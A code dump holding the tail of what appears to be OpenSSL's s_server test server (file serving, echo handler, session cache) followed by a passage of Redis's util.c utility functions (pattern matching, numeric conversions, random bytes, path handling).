"\n"), 1); } else { BIO_write(io, p, 1); j++; } p++; } BIO_puts(io, "\n"); } ssl_print_sigalgs(io, con); #ifndef OPENSSL_NO_EC ssl_print_groups(io, con, 0); #endif print_ca_names(io, con); BIO_printf(io, (SSL_session_reused(con) ? "---\nReused, " : "---\nNew, ")); c = SSL_get_current_cipher(con); BIO_printf(io, "%s, Cipher is %s\n", SSL_CIPHER_get_version(c), SSL_CIPHER_get_name(c)); SSL_SESSION_print(io, SSL_get_session(con)); BIO_printf(io, "---\n"); print_stats(io, SSL_get_SSL_CTX(con)); BIO_printf(io, "---\n"); peer = SSL_get_peer_certificate(con); if (peer != NULL) { BIO_printf(io, "Client certificate\n"); X509_print(io, peer); PEM_write_bio_X509(io, peer); X509_free(peer); peer = NULL; } else { BIO_puts(io, "no client certificate available\n"); } BIO_puts(io, "</pre></BODY></HTML>\r\n\r\n"); break; } else if ((www == 2 || www == 3) && (strncmp("GET /", buf, 5) == 0)) { BIO *file; char *p, *e; static const char *text = "HTTP/1.0 200 ok\r\nContent-type: text/plain\r\n\r\n"; /* skip the '/' */ p = &(buf[5]); dot = 1; for (e = p; *e != '\0'; e++) { if (e[0] == ' ') break; switch (dot) { case 1: dot = (e[0] == '.') ? 2 : 0; break; case 2: dot = (e[0] == '.') ? 3 : 0; break; case 3: dot = (e[0] == '/') ? -1 : 0; break; } if (dot == 0) dot = (e[0] == '/') ? 1 : 0; } dot = (dot == 3) || (dot == -1); /* filename contains ".." * component */ if (*e == '\0') { BIO_puts(io, text); BIO_printf(io, "'%s' is an invalid file name\r\n", p); break; } *e = '\0'; if (dot) { BIO_puts(io, text); BIO_printf(io, "'%s' contains '..' reference\r\n", p); break; } if (*p == '/') { BIO_puts(io, text); BIO_printf(io, "'%s' is an invalid path\r\n", p); break; } /* if a directory, do the index thang */ if (app_isdir(p) > 0) { BIO_puts(io, text); BIO_printf(io, "'%s' is a directory\r\n", p); break; } if ((file = BIO_new_file(p, "r")) == NULL) { BIO_puts(io, text); BIO_printf(io, "Error opening '%s'\r\n", p); ERR_print_errors(io); break; } if (!s_quiet) BIO_printf(bio_err, "FILE:%s\n", p); if (www == 2) { i = strlen(p); if (((i > 5) && (strcmp(&(p[i - 5]), ".html") == 0)) || ((i > 4) && (strcmp(&(p[i - 4]), ".php") == 0)) || ((i > 4) && (strcmp(&(p[i - 4]), ".htm") == 0))) BIO_puts(io, "HTTP/1.0 200 ok\r\nContent-type: text/html\r\n\r\n"); else BIO_puts(io, "HTTP/1.0 200 ok\r\nContent-type: text/plain\r\n\r\n"); } /* send the file */ for (;;) { i = BIO_read(file, buf, bufsize); if (i <= 0) break; #ifdef RENEG total_bytes += i; BIO_printf(bio_err, "%d\n", i); if (total_bytes > 3 * 1024) { total_bytes = 0; BIO_printf(bio_err, "RENEGOTIATE\n"); SSL_renegotiate(con); } #endif for (j = 0; j < i;) { #ifdef RENEG static count = 0; if (++count == 13) { SSL_renegotiate(con); } #endif k = BIO_write(io, &(buf[j]), i - j); if (k <= 0) { if (!BIO_should_retry(io) && !SSL_waiting_for_async(con)) goto write_error; else { BIO_printf(bio_s_out, "rwrite W BLOCK\n"); } } else { j += k; } } } write_error: BIO_free(file); break; } } for (;;) { i = (int)BIO_flush(io); if (i <= 0) { if (!BIO_should_retry(io)) break; } else break; } end: /* make sure we re-use sessions */ SSL_set_shutdown(con, SSL_SENT_SHUTDOWN | SSL_RECEIVED_SHUTDOWN); err: OPENSSL_free(buf); BIO_free_all(io); return ret; } static int rev_body(int s, int stype, int prot, unsigned char *context) { char *buf = NULL; int i; int ret = 1; SSL *con; BIO *io, *ssl_bio, *sbio; buf = app_malloc(bufsize, "server rev buffer"); io = BIO_new(BIO_f_buffer()); ssl_bio = BIO_new(BIO_f_ssl()); if ((io == NULL) || (ssl_bio == NULL)) goto err; /* lets make the output buffer a reasonable size */ if (!BIO_set_write_buffer_size(io, bufsize)) goto err; if ((con = SSL_new(ctx)) == NULL) goto err; if (s_tlsextdebug) { SSL_set_tlsext_debug_callback(con, tlsext_cb); SSL_set_tlsext_debug_arg(con, bio_s_out); } if (context != NULL && !SSL_set_session_id_context(con, context, strlen((char *)context))) { SSL_free(con); ERR_print_errors(bio_err); goto err; } sbio = BIO_new_socket(s, BIO_NOCLOSE); SSL_set_bio(con, sbio, sbio); SSL_set_accept_state(con); /* No need to free |con| after this. Done by BIO_free(ssl_bio) */ BIO_set_ssl(ssl_bio, con, BIO_CLOSE); BIO_push(io, ssl_bio); #ifdef CHARSET_EBCDIC io = BIO_push(BIO_new(BIO_f_ebcdic_filter()), io); #endif if (s_debug) { BIO_set_callback(SSL_get_rbio(con), bio_dump_callback); BIO_set_callback_arg(SSL_get_rbio(con), (char *)bio_s_out); } if (s_msg) { #ifndef OPENSSL_NO_SSL_TRACE if (s_msg == 2) SSL_set_msg_callback(con, SSL_trace); else #endif SSL_set_msg_callback(con, msg_cb); SSL_set_msg_callback_arg(con, bio_s_msg ? bio_s_msg : bio_s_out); } for (;;) { i = BIO_do_handshake(io); if (i > 0) break; if (!BIO_should_retry(io)) { BIO_puts(bio_err, "CONNECTION FAILURE\n"); ERR_print_errors(bio_err); goto end; } #ifndef OPENSSL_NO_SRP if (BIO_should_io_special(io) && BIO_get_retry_reason(io) == BIO_RR_SSL_X509_LOOKUP) { BIO_printf(bio_s_out, "LOOKUP renego during accept\n"); SRP_user_pwd_free(srp_callback_parm.user); srp_callback_parm.user = SRP_VBASE_get1_by_user(srp_callback_parm.vb, srp_callback_parm.login); if (srp_callback_parm.user) BIO_printf(bio_s_out, "LOOKUP done %s\n", srp_callback_parm.user->info); else BIO_printf(bio_s_out, "LOOKUP not successful\n"); continue; } #endif } BIO_printf(bio_err, "CONNECTION ESTABLISHED\n"); print_ssl_summary(con); for (;;) { i = BIO_gets(io, buf, bufsize - 1); if (i < 0) { /* error */ if (!BIO_should_retry(io)) { if (!s_quiet) ERR_print_errors(bio_err); goto err; } else { BIO_printf(bio_s_out, "read R BLOCK\n"); #ifndef OPENSSL_NO_SRP if (BIO_should_io_special(io) && BIO_get_retry_reason(io) == BIO_RR_SSL_X509_LOOKUP) { BIO_printf(bio_s_out, "LOOKUP renego during read\n"); SRP_user_pwd_free(srp_callback_parm.user); srp_callback_parm.user = SRP_VBASE_get1_by_user(srp_callback_parm.vb, srp_callback_parm.login); if (srp_callback_parm.user) BIO_printf(bio_s_out, "LOOKUP done %s\n", srp_callback_parm.user->info); else BIO_printf(bio_s_out, "LOOKUP not successful\n"); continue; } #endif #if !defined(OPENSSL_SYS_MSDOS) sleep(1); #endif continue; } } else if (i == 0) { /* end of input */ ret = 1; BIO_printf(bio_err, "CONNECTION CLOSED\n"); goto end; } else { char *p = buf + i - 1; while (i && (*p == '\n' || *p == '\r')) { p--; i--; } if (!s_ign_eof && (i == 5) && (strncmp(buf, "CLOSE", 5) == 0)) { ret = 1; BIO_printf(bio_err, "CONNECTION CLOSED\n"); goto end; } BUF_reverse((unsigned char *)buf, NULL, i); buf[i] = '\n'; BIO_write(io, buf, i + 1); for (;;) { i = BIO_flush(io); if (i > 0) break; if (!BIO_should_retry(io)) goto end; } } } end: /* make sure we re-use sessions */ SSL_set_shutdown(con, SSL_SENT_SHUTDOWN | SSL_RECEIVED_SHUTDOWN); err: OPENSSL_free(buf); BIO_free_all(io); return ret; } #define MAX_SESSION_ID_ATTEMPTS 10 static int generate_session_id(SSL *ssl, unsigned char *id, unsigned int *id_len) { unsigned int count = 0; do { if (RAND_bytes(id, *id_len) <= 0) return 0; /* * Prefix the session_id with the required prefix. NB: If our prefix * is too long, clip it - but there will be worse effects anyway, eg. * the server could only possibly create 1 session ID (ie. the * prefix!) so all future session negotiations will fail due to * conflicts. */ memcpy(id, session_id_prefix, (strlen(session_id_prefix) < *id_len) ? strlen(session_id_prefix) : *id_len); } while (SSL_has_matching_session_id(ssl, id, *id_len) && (++count < MAX_SESSION_ID_ATTEMPTS)); if (count >= MAX_SESSION_ID_ATTEMPTS) return 0; return 1; } /* * By default s_server uses an in-memory cache which caches SSL_SESSION * structures without any serialisation. This hides some bugs which only * become apparent in deployed servers. By implementing a basic external * session cache some issues can be debugged using s_server. */ typedef struct simple_ssl_session_st { unsigned char *id; unsigned int idlen; unsigned char *der; int derlen; struct simple_ssl_session_st *next; } simple_ssl_session; static simple_ssl_session *first = NULL; static int add_session(SSL *ssl, SSL_SESSION *session) { simple_ssl_session *sess = app_malloc(sizeof(*sess), "get session"); unsigned char *p; SSL_SESSION_get_id(session, &sess->idlen); sess->derlen = i2d_SSL_SESSION(session, NULL); if (sess->derlen < 0) { BIO_printf(bio_err, "Error encoding session\n"); OPENSSL_free(sess); return 0; } sess->id = OPENSSL_memdup(SSL_SESSION_get_id(session, NULL), sess->idlen); sess->der = app_malloc(sess->derlen, "get session buffer"); if (!sess->id) { BIO_printf(bio_err, "Out of memory adding to external cache\n"); OPENSSL_free(sess->id); OPENSSL_free(sess->der); OPENSSL_free(sess); return 0; } p = sess->der; /* Assume it still works. */ if (i2d_SSL_SESSION(session, &p) != sess->derlen) { BIO_printf(bio_err, "Unexpected session encoding length\n"); OPENSSL_free(sess->id); OPENSSL_free(sess->der); OPENSSL_free(sess); return 0; } sess->next = first; first = sess; BIO_printf(bio_err, "New session added to external cache\n"); return 0; } static SSL_SESSION *get_session(SSL *ssl, const unsigned char *id, int idlen, int *do_copy) { simple_ssl_session *sess; *do_copy = 0; for (sess = first; sess; sess = sess->next) { if (idlen == (int)sess->idlen && !memcmp(sess->id, id, idlen)) { const unsigned char *p = sess->der; BIO_printf(bio_err, "Lookup session: cache hit\n"); return d2i_SSL_SESSION(NULL, &p, sess->derlen); } } BIO_printf(bio_err, "Lookup session: cache miss\n"); return NULL; } static void del_session(SSL_CTX *sctx, SSL_SESSION *session) { simple_ssl_session *sess, *prev = NULL; const unsigned char *id; unsigned int idlen; id = SSL_SESSION_get_id(session, &idlen); for (sess = first; sess; sess = sess->next) { if (idlen == sess->idlen && !memcmp(sess->id, id, idlen)) { if (prev) prev->next = sess->next; else first = sess->next; OPENSSL_free(sess->id); OPENSSL_free(sess->der); OPENSSL_free(sess); return; } prev = sess; } } static void init_session_cache_ctx(SSL_CTX *sctx) { SSL_CTX_set_session_cache_mode(sctx, SSL_SESS_CACHE_NO_INTERNAL | SSL_SESS_CACHE_SERVER); SSL_CTX_sess_set_new_cb(sctx, add_session); SSL_CTX_sess_set_get_cb(sctx, get_session); SSL_CTX_sess_set_remove_cb(sctx, del_session); } static void free_sessions(void) { simple_ssl_session *sess, *tsess; for (sess = first; sess;) { OPENSSL_free(sess->id); OPENSSL_free(sess->der); tsess = sess; sess = sess->next; OPENSSL_free(tsess); } first = NULL; } #endif /* OPENSSL_NO_SOCK */
662441.c
/* * Copyright (c) 2009-2012, Salvatore Sanfilippo <antirez at gmail dot com> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Redis nor the names of its contributors may be used * to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "fmacros.h" #include <stdlib.h> #include <stdio.h> #include <string.h> #include <ctype.h> #include <limits.h> #include <math.h> #include <unistd.h> #include <sys/time.h> #include <float.h> #include <stdint.h> #include <errno.h> #include <time.h> #include <sys/stat.h> #include <dirent.h> #include <fcntl.h> #include "util.h" #include "sha256.h" #include "config.h" /* Glob-style pattern matching. */ int stringmatchlen(const char *pattern, int patternLen, const char *string, int stringLen, int nocase) { while(patternLen && stringLen) { switch(pattern[0]) { case '*': while (patternLen && pattern[1] == '*') { pattern++; patternLen--; } if (patternLen == 1) return 1; /* match */ while(stringLen) { if (stringmatchlen(pattern+1, patternLen-1, string, stringLen, nocase)) return 1; /* match */ string++; stringLen--; } return 0; /* no match */ break; case '?': string++; stringLen--; break; case '[': { int not, match; pattern++; patternLen--; not = pattern[0] == '^'; if (not) { pattern++; patternLen--; } match = 0; while(1) { if (pattern[0] == '\\' && patternLen >= 2) { pattern++; patternLen--; if (pattern[0] == string[0]) match = 1; } else if (pattern[0] == ']') { break; } else if (patternLen == 0) { pattern--; patternLen++; break; } else if (patternLen >= 3 && pattern[1] == '-') { int start = pattern[0]; int end = pattern[2]; int c = string[0]; if (start > end) { int t = start; start = end; end = t; } if (nocase) { start = tolower(start); end = tolower(end); c = tolower(c); } pattern += 2; patternLen -= 2; if (c >= start && c <= end) match = 1; } else { if (!nocase) { if (pattern[0] == string[0]) match = 1; } else { if (tolower((int)pattern[0]) == tolower((int)string[0])) match = 1; } } pattern++; patternLen--; } if (not) match = !match; if (!match) return 0; /* no match */ string++; stringLen--; break; } case '\\': if (patternLen >= 2) { pattern++; patternLen--; } /* fall through */ default: if (!nocase) { if (pattern[0] != string[0]) return 0; /* no match */ } else { if (tolower((int)pattern[0]) != tolower((int)string[0])) return 0; /* no match */ } string++; stringLen--; break; } pattern++; patternLen--; if (stringLen == 0) { while(*pattern == '*') { pattern++; patternLen--; } break; } } if (patternLen == 0 && stringLen == 0) return 1; return 0; } int stringmatch(const char *pattern, const char *string, int nocase) { return stringmatchlen(pattern,strlen(pattern),string,strlen(string),nocase); } /* Fuzz stringmatchlen() trying to crash it with bad input. */ int stringmatchlen_fuzz_test(void) { char str[32]; char pat[32]; int cycles = 10000000; int total_matches = 0; while(cycles--) { int strlen = rand() % sizeof(str); int patlen = rand() % sizeof(pat); for (int j = 0; j < strlen; j++) str[j] = rand() % 128; for (int j = 0; j < patlen; j++) pat[j] = rand() % 128; total_matches += stringmatchlen(pat, patlen, str, strlen, 0); } return total_matches; } /* Convert a string representing an amount of memory into the number of * bytes, so for instance memtoull("1Gb") will return 1073741824 that is * (1024*1024*1024). * * On parsing error, if *err is not NULL, it's set to 1, otherwise it's * set to 0. On error the function return value is 0, regardless of the * fact 'err' is NULL or not. */ unsigned long long memtoull(const char *p, int *err) { const char *u; char buf[128]; long mul; /* unit multiplier */ unsigned long long val; unsigned int digits; if (err) *err = 0; /* Search the first non digit character. */ u = p; if (*u == '-') { if (err) *err = 1; return 0; } while(*u && isdigit(*u)) u++; if (*u == '\0' || !strcasecmp(u,"b")) { mul = 1; } else if (!strcasecmp(u,"k")) { mul = 1000; } else if (!strcasecmp(u,"kb")) { mul = 1024; } else if (!strcasecmp(u,"m")) { mul = 1000*1000; } else if (!strcasecmp(u,"mb")) { mul = 1024*1024; } else if (!strcasecmp(u,"g")) { mul = 1000L*1000*1000; } else if (!strcasecmp(u,"gb")) { mul = 1024L*1024*1024; } else { if (err) *err = 1; return 0; } /* Copy the digits into a buffer, we'll use strtoll() to convert * the digit (without the unit) into a number. */ digits = u-p; if (digits >= sizeof(buf)) { if (err) *err = 1; return 0; } memcpy(buf,p,digits); buf[digits] = '\0'; char *endptr; errno = 0; val = strtoull(buf,&endptr,10); if ((val == 0 && errno == EINVAL) || *endptr != '\0') { if (err) *err = 1; return 0; } return val*mul; } /* Search a memory buffer for any set of bytes, like strpbrk(). * Returns pointer to first found char or NULL. */ const char *mempbrk(const char *s, size_t len, const char *chars, size_t charslen) { for (size_t j = 0; j < len; j++) { for (size_t n = 0; n < charslen; n++) if (s[j] == chars[n]) return &s[j]; } return NULL; } /* Modify the buffer replacing all occurrences of chars from the 'from' * set with the corresponding char in the 'to' set. Always returns s. */ char *memmapchars(char *s, size_t len, const char *from, const char *to, size_t setlen) { for (size_t j = 0; j < len; j++) { for (size_t i = 0; i < setlen; i++) { if (s[j] == from[i]) { s[j] = to[i]; break; } } } return s; } /* Return the number of digits of 'v' when converted to string in radix 10. * See ll2string() for more information. */ uint32_t digits10(uint64_t v) { if (v < 10) return 1; if (v < 100) return 2; if (v < 1000) return 3; if (v < 1000000000000UL) { if (v < 100000000UL) { if (v < 1000000) { if (v < 10000) return 4; return 5 + (v >= 100000); } return 7 + (v >= 10000000UL); } if (v < 10000000000UL) { return 9 + (v >= 1000000000UL); } return 11 + (v >= 100000000000UL); } return 12 + digits10(v / 1000000000000UL); } /* Like digits10() but for signed values. */ uint32_t sdigits10(int64_t v) { if (v < 0) { /* Abs value of LLONG_MIN requires special handling. */ uint64_t uv = (v != LLONG_MIN) ? (uint64_t)-v : ((uint64_t) LLONG_MAX)+1; return digits10(uv)+1; /* +1 for the minus. */ } else { return digits10(v); } } /* Convert a long long into a string. Returns the number of * characters needed to represent the number. * If the buffer is not big enough to store the string, 0 is returned. */ int ll2string(char *dst, size_t dstlen, long long svalue) { unsigned long long value; int negative = 0; /* The ull2string function with 64bit unsigned integers for simplicity, so * we convert the number here and remember if it is negative. */ if (svalue < 0) { if (svalue != LLONG_MIN) { value = -svalue; } else { value = ((unsigned long long) LLONG_MAX)+1; } if (dstlen < 2) return 0; negative = 1; dst[0] = '-'; dst++; dstlen--; } else { value = svalue; } /* Converts the unsigned long long value to string*/ int length = ull2string(dst, dstlen, value); if (length == 0) return 0; return length + negative; } /* Convert a unsigned long long into a string. Returns the number of * characters needed to represent the number. * If the buffer is not big enough to store the string, 0 is returned. * * Based on the following article (that apparently does not provide a * novel approach but only publicizes an already used technique): * * https://www.facebook.com/notes/facebook-engineering/three-optimization-tips-for-c/10151361643253920 */ int ull2string(char *dst, size_t dstlen, unsigned long long value) { static const char digits[201] = "0001020304050607080910111213141516171819" "2021222324252627282930313233343536373839" "4041424344454647484950515253545556575859" "6061626364656667686970717273747576777879" "8081828384858687888990919293949596979899"; /* Check length. */ uint32_t length = digits10(value); if (length >= dstlen) return 0; /* Null term. */ uint32_t next = length - 1; dst[next + 1] = '\0'; while (value >= 100) { int const i = (value % 100) * 2; value /= 100; dst[next] = digits[i + 1]; dst[next - 1] = digits[i]; next -= 2; } /* Handle last 1-2 digits. */ if (value < 10) { dst[next] = '0' + (uint32_t) value; } else { int i = (uint32_t) value * 2; dst[next] = digits[i + 1]; dst[next - 1] = digits[i]; } return length; } /* Convert a string into a long long. Returns 1 if the string could be parsed * into a (non-overflowing) long long, 0 otherwise. The value will be set to * the parsed value when appropriate. * * Note that this function demands that the string strictly represents * a long long: no spaces or other characters before or after the string * representing the number are accepted, nor zeroes at the start if not * for the string "0" representing the zero number. * * Because of its strictness, it is safe to use this function to check if * you can convert a string into a long long, and obtain back the string * from the number without any loss in the string representation. */ int string2ll(const char *s, size_t slen, long long *value) { const char *p = s; size_t plen = 0; int negative = 0; unsigned long long v; /* A string of zero length or excessive length is not a valid number. */ if (plen == slen || slen >= LONG_STR_SIZE) return 0; /* Special case: first and only digit is 0. */ if (slen == 1 && p[0] == '0') { if (value != NULL) *value = 0; return 1; } /* Handle negative numbers: just set a flag and continue like if it * was a positive number. Later convert into negative. */ if (p[0] == '-') { negative = 1; p++; plen++; /* Abort on only a negative sign. */ if (plen == slen) return 0; } /* First digit should be 1-9, otherwise the string should just be 0. */ if (p[0] >= '1' && p[0] <= '9') { v = p[0]-'0'; p++; plen++; } else { return 0; } /* Parse all the other digits, checking for overflow at every step. */ while (plen < slen && p[0] >= '0' && p[0] <= '9') { if (v > (ULLONG_MAX / 10)) /* Overflow. */ return 0; v *= 10; if (v > (ULLONG_MAX - (p[0]-'0'))) /* Overflow. */ return 0; v += p[0]-'0'; p++; plen++; } /* Return if not all bytes were used. */ if (plen < slen) return 0; /* Convert to negative if needed, and do the final overflow check when * converting from unsigned long long to long long. */ if (negative) { if (v > ((unsigned long long)(-(LLONG_MIN+1))+1)) /* Overflow. */ return 0; if (value != NULL) *value = -v; } else { if (v > LLONG_MAX) /* Overflow. */ return 0; if (value != NULL) *value = v; } return 1; } /* Helper function to convert a string to an unsigned long long value. * The function attempts to use the faster string2ll() function inside * Redis: if it fails, strtoull() is used instead. The function returns * 1 if the conversion happened successfully or 0 if the number is * invalid or out of range. */ int string2ull(const char *s, unsigned long long *value) { long long ll; if (string2ll(s,strlen(s),&ll)) { if (ll < 0) return 0; /* Negative values are out of range. */ *value = ll; return 1; } errno = 0; char *endptr = NULL; *value = strtoull(s,&endptr,10); if (errno == EINVAL || errno == ERANGE || !(*s != '\0' && *endptr == '\0')) return 0; /* strtoull() failed. */ return 1; /* Conversion done! */ } /* Convert a string into a long. Returns 1 if the string could be parsed into a * (non-overflowing) long, 0 otherwise. The value will be set to the parsed * value when appropriate. */ int string2l(const char *s, size_t slen, long *lval) { long long llval; if (!string2ll(s,slen,&llval)) return 0; if (llval < LONG_MIN || llval > LONG_MAX) return 0; *lval = (long)llval; return 1; } /* Convert a string into a double. Returns 1 if the string could be parsed * into a (non-overflowing) double, 0 otherwise. The value will be set to * the parsed value when appropriate. * * Note that this function demands that the string strictly represents * a double: no spaces or other characters before or after the string * representing the number are accepted. */ int string2ld(const char *s, size_t slen, long double *dp) { char buf[MAX_LONG_DOUBLE_CHARS]; long double value; char *eptr; if (slen == 0 || slen >= sizeof(buf)) return 0; memcpy(buf,s,slen); buf[slen] = '\0'; errno = 0; value = strtold(buf, &eptr); if (isspace(buf[0]) || eptr[0] != '\0' || (size_t)(eptr-buf) != slen || (errno == ERANGE && (value == HUGE_VAL || value == -HUGE_VAL || value == 0)) || errno == EINVAL || isnan(value)) return 0; if (dp) *dp = value; return 1; } /* Convert a string into a double. Returns 1 if the string could be parsed * into a (non-overflowing) double, 0 otherwise. The value will be set to * the parsed value when appropriate. * * Note that this function demands that the string strictly represents * a double: no spaces or other characters before or after the string * representing the number are accepted. */ int string2d(const char *s, size_t slen, double *dp) { errno = 0; char *eptr; *dp = strtod(s, &eptr); if (slen == 0 || isspace(((const char*)s)[0]) || (size_t)(eptr-(char*)s) != slen || (errno == ERANGE && (*dp == HUGE_VAL || *dp == -HUGE_VAL || *dp == 0)) || isnan(*dp)) return 0; return 1; } /* Convert a double to a string representation. Returns the number of bytes * required. The representation should always be parsable by strtod(3). * This function does not support human-friendly formatting like ld2string * does. It is intended mainly to be used inside t_zset.c when writing scores * into a listpack representing a sorted set. */ int d2string(char *buf, size_t len, double value) { if (isnan(value)) { len = snprintf(buf,len,"nan"); } else if (isinf(value)) { if (value < 0) len = snprintf(buf,len,"-inf"); else len = snprintf(buf,len,"inf"); } else if (value == 0) { /* See: http://en.wikipedia.org/wiki/Signed_zero, "Comparisons". */ if (1.0/value < 0) len = snprintf(buf,len,"-0"); else len = snprintf(buf,len,"0"); } else { #if (DBL_MANT_DIG >= 52) && (LLONG_MAX == 0x7fffffffffffffffLL) /* Check if the float is in a safe range to be casted into a * long long. We are assuming that long long is 64 bit here. * Also we are assuming that there are no implementations around where * double has precision < 52 bit. * * Under this assumptions we test if a double is inside an interval * where casting to long long is safe. Then using two castings we * make sure the decimal part is zero. If all this is true we use * integer printing function that is much faster. */ double min = -4503599627370495; /* (2^52)-1 */ double max = 4503599627370496; /* -(2^52) */ if (value > min && value < max && value == ((double)((long long)value))) len = ll2string(buf,len,(long long)value); else #endif len = snprintf(buf,len,"%.17g",value); } return len; } /* Trims off trailing zeros from a string representing a double. */ int trimDoubleString(char *buf, size_t len) { if (strchr(buf,'.') != NULL) { char *p = buf+len-1; while(*p == '0') { p--; len--; } if (*p == '.') len--; } buf[len] = '\0'; return len; } /* Create a string object from a long double. * If mode is humanfriendly it does not use exponential format and trims trailing * zeroes at the end (may result in loss of precision). * If mode is default exp format is used and the output of snprintf() * is not modified (may result in loss of precision). * If mode is hex hexadecimal format is used (no loss of precision) * * The function returns the length of the string or zero if there was not * enough buffer room to store it. */ int ld2string(char *buf, size_t len, long double value, ld2string_mode mode) { size_t l = 0; if (isinf(value)) { /* Libc in odd systems (Hi Solaris!) will format infinite in a * different way, so better to handle it in an explicit way. */ if (len < 5) return 0; /* No room. 5 is "-inf\0" */ if (value > 0) { memcpy(buf,"inf",3); l = 3; } else { memcpy(buf,"-inf",4); l = 4; } } else { switch (mode) { case LD_STR_AUTO: l = snprintf(buf,len,"%.17Lg",value); if (l+1 > len) return 0; /* No room. */ break; case LD_STR_HEX: l = snprintf(buf,len,"%La",value); if (l+1 > len) return 0; /* No room. */ break; case LD_STR_HUMAN: /* We use 17 digits precision since with 128 bit floats that precision * after rounding is able to represent most small decimal numbers in a * way that is "non surprising" for the user (that is, most small * decimal numbers will be represented in a way that when converted * back into a string are exactly the same as what the user typed.) */ l = snprintf(buf,len,"%.17Lf",value); if (l+1 > len) return 0; /* No room. */ /* Now remove trailing zeroes after the '.' */ if (strchr(buf,'.') != NULL) { char *p = buf+l-1; while(*p == '0') { p--; l--; } if (*p == '.') l--; } if (l == 2 && buf[0] == '-' && buf[1] == '0') { buf[0] = '0'; l = 1; } break; default: return 0; /* Invalid mode. */ } } buf[l] = '\0'; return l; } /* Get random bytes, attempts to get an initial seed from /dev/urandom and * the uses a one way hash function in counter mode to generate a random * stream. However if /dev/urandom is not available, a weaker seed is used. * * This function is not thread safe, since the state is global. */ void getRandomBytes(unsigned char *p, size_t len) { /* Global state. */ static int seed_initialized = 0; static unsigned char seed[64]; /* 512 bit internal block size. */ static uint64_t counter = 0; /* The counter we hash with the seed. */ if (!seed_initialized) { /* Initialize a seed and use SHA1 in counter mode, where we hash * the same seed with a progressive counter. For the goals of this * function we just need non-colliding strings, there are no * cryptographic security needs. */ FILE *fp = fopen("/dev/urandom","r"); if (fp == NULL || fread(seed,sizeof(seed),1,fp) != 1) { /* Revert to a weaker seed, and in this case reseed again * at every call.*/ for (unsigned int j = 0; j < sizeof(seed); j++) { struct timeval tv; gettimeofday(&tv,NULL); pid_t pid = getpid(); seed[j] = tv.tv_sec ^ tv.tv_usec ^ pid ^ (long)fp; } } else { seed_initialized = 1; } if (fp) fclose(fp); } while(len) { /* This implements SHA256-HMAC. */ unsigned char digest[SHA256_BLOCK_SIZE]; unsigned char kxor[64]; unsigned int copylen = len > SHA256_BLOCK_SIZE ? SHA256_BLOCK_SIZE : len; /* IKEY: key xored with 0x36. */ memcpy(kxor,seed,sizeof(kxor)); for (unsigned int i = 0; i < sizeof(kxor); i++) kxor[i] ^= 0x36; /* Obtain HASH(IKEY||MESSAGE). */ SHA256_CTX ctx; sha256_init(&ctx); sha256_update(&ctx,kxor,sizeof(kxor)); sha256_update(&ctx,(unsigned char*)&counter,sizeof(counter)); sha256_final(&ctx,digest); /* OKEY: key xored with 0x5c. */ memcpy(kxor,seed,sizeof(kxor)); for (unsigned int i = 0; i < sizeof(kxor); i++) kxor[i] ^= 0x5C; /* Obtain HASH(OKEY || HASH(IKEY||MESSAGE)). */ sha256_init(&ctx); sha256_update(&ctx,kxor,sizeof(kxor)); sha256_update(&ctx,digest,SHA256_BLOCK_SIZE); sha256_final(&ctx,digest); /* Increment the counter for the next iteration. */ counter++; memcpy(p,digest,copylen); len -= copylen; p += copylen; } } /* Generate the Redis "Run ID", a SHA1-sized random number that identifies a * given execution of Redis, so that if you are talking with an instance * having run_id == A, and you reconnect and it has run_id == B, you can be * sure that it is either a different instance or it was restarted. */ void getRandomHexChars(char *p, size_t len) { char *charset = "0123456789abcdef"; size_t j; getRandomBytes((unsigned char*)p,len); for (j = 0; j < len; j++) p[j] = charset[p[j] & 0x0F]; } /* Given the filename, return the absolute path as an SDS string, or NULL * if it fails for some reason. Note that "filename" may be an absolute path * already, this will be detected and handled correctly. * * The function does not try to normalize everything, but only the obvious * case of one or more "../" appearing at the start of "filename" * relative path. */ sds getAbsolutePath(char *filename) { char cwd[1024]; sds abspath; sds relpath = sdsnew(filename); relpath = sdstrim(relpath," \r\n\t"); if (relpath[0] == '/') return relpath; /* Path is already absolute. */ /* If path is relative, join cwd and relative path. */ if (getcwd(cwd,sizeof(cwd)) == NULL) { sdsfree(relpath); return NULL; } abspath = sdsnew(cwd); if (sdslen(abspath) && abspath[sdslen(abspath)-1] != '/') abspath = sdscat(abspath,"/"); /* At this point we have the current path always ending with "/", and * the trimmed relative path. Try to normalize the obvious case of * trailing ../ elements at the start of the path. * * For every "../" we find in the filename, we remove it and also remove * the last element of the cwd, unless the current cwd is "/". */ while (sdslen(relpath) >= 3 && relpath[0] == '.' && relpath[1] == '.' && relpath[2] == '/') { sdsrange(relpath,3,-1); if (sdslen(abspath) > 1) { char *p = abspath + sdslen(abspath)-2; int trimlen = 1; while(*p != '/') { p--; trimlen++; } sdsrange(abspath,0,-(trimlen+1)); } } /* Finally glue the two parts together. */ abspath = sdscatsds(abspath,relpath); sdsfree(relpath); return abspath; } /* * Gets the proper timezone in a more portable fashion * i.e timezone variables are linux specific. */ long getTimeZone(void) { #if defined(__linux__) || defined(__sun) return timezone; #else struct timeval tv; struct timezone tz; gettimeofday(&tv, &tz); return tz.tz_minuteswest * 60L; #endif } /* Return true if the specified path is just a file basename without any * relative or absolute path. This function just 